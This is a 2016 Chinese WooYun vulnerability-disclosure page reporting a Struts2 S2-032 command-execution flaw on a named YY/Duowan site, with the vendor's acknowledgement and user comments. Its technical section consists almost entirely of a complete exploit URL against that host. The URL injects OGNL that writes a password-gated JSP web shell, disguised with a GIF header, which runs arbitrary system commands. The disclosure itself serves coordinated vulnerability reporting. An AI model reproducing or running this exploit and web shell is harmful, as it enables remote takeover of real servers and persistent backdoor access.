当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0200811

漏洞标题：广州多玩某站s2-032命令执行可shell

相关厂商：广州多玩

漏洞作者： Forever80s

提交时间：2016-04-26 15:54

修复时间：2016-06-11 00:40

公开时间：2016-06-11 00:40

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-26： 细节已通知厂商并且等待厂商处理中
2016-04-27： 厂商已经确认，细节仅向厂商公开
2016-05-07： 细节向核心白帽子及相关领域专家公开
2016-05-17： 细节向普通白帽子公开
2016-05-27： 细节向实习白帽子公开
2016-06-11： 细节向公众公开

简要描述：

struts s2-032 命令执行 ^_^

详细说明：

http://channel.yy.com
直接写shell

http://channel.yy.com/auth/login.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0],%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get%28%23a%29,%23b%3d%23req.getRealPath%28%23c%29%2b%23parameters.reqobj[2],%23fos%3dnew%20java.io.FileOutputStream%28%23b%29,%23fos.write%28%23parameters.content[0].getBytes%28%29%29,%23fos.close%28%29,%23hh%3d%23context.get%28%23parameters.rpsobj[0]%29,%23hh.getWriter%28%29.println%28%23b%29,%23hh.getWriter%28%29.flush%28%29,%23hh.getWriter%28%29.close%28%29,1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&reqobj=%2f&reqobj=test.jsp&content=gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%20%20java.io.InputStream%20in%20%253d%20Runtime.getRuntime%28%29.exec%28request.getParameter%28%22l%22%29%29.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%253d%20-1%3B%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%253d%20new%20byte%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3Cpre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%253din.read%28b%29%29%21%253d-1%29%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E


漏洞证明：

writeshell.png


http://channel.yy.com/ksi.jsp

1.jpg

修复方案：

update

版权声明：转载请注明来源 Forever80s@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-27 00:30

厂商回复：

感谢对于欢聚时代安全工作的支持，我们会尽快修复！

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-26 15:54 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高，标题一定得屌)

    我刚准备刷 就有人开刷了

  2. 2016-04-26 15:59 | 0x 80 ( 普通白帽子 | Rank:1785 漏洞数:494 | A security company recruitment penetrati...)

    @路人毛 呵呵

  3. 2016-04-26 16:07 | oneplusone ( 实习白帽子 | Rank:60 漏洞数:18 | 三十功名尘与土，八千里路云和月。莫等闲、...)

    楼主真快

  4. 2016-04-26 16:09 | 欧冠狂魔阿森纳 ( 实习白帽子 | Rank:75 漏洞数:34 | 静静的看你们装逼)

    真快

  5. 2016-04-26 16:09 | 小苹果 ( 普通白帽子 | Rank:241 漏洞数:61 | 只要锄头挥的好，哪有洞挖不到)

    洞主求exp

  6. 2016-04-26 16:10 | Bison ( 实习白帽子 | Rank:53 漏洞数:14 | )

    楼主身手好快。

  7. 2016-04-26 16:19 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业！)

    6666.神一样的速度、

  8. 2016-04-26 16:21 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    struts s2-032 。。 。 。 。。

  9. 2016-04-26 16:22 | BMa 认证白帽子 ( 核心白帽子 | Rank:2076 漏洞数:228 )

    @小苹果 看zone

  10. 2016-04-26 16:24 | 小红猪 ( 普通白帽子 | Rank:329 漏洞数:61 | little red pig!)

    牛逼，这速度

  11. 2016-04-26 16:39 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:88888 | WooYun认证√)

    EXP刚发就发现在刷了。。。。牛

  12. 2016-04-26 16:42 | 咚咚呛 ( 普通白帽子 | Rank:263 漏洞数:34 | 我是一只小毛驴咿呀咿呀呦~~)

    也是够了

  13. 2016-04-26 17:16 | 存在敏感词 ( 实习白帽子 | Rank:66 漏洞数:9 | 昵称存在敏感词)

    牛逼

  14. 2016-04-27 09:12 | P0ker_L ( 路人 | Rank:8 漏洞数:2 | 趣果有间，孤独无解)

    @momo EXP在哪里？

  15. 2016-04-27 09:13 | P0ker_L ( 路人 | Rank:8 漏洞数:2 | 趣果有间，孤独无解)

    @momo 啊看到了。。。

  16. 2016-04-27 13:32 | 我叫肥羊 ( 路人 | Rank:23 漏洞数:10 | PHP是最好的语言。。。。。)

    ....心酸 和你重复了。。

  17. 2016-04-27 14:09 | 小苹果 ( 普通白帽子 | Rank:241 漏洞数:61 | 只要锄头挥的好，哪有洞挖不到)

    跟这一波洪水过了后面再找，不然都是重复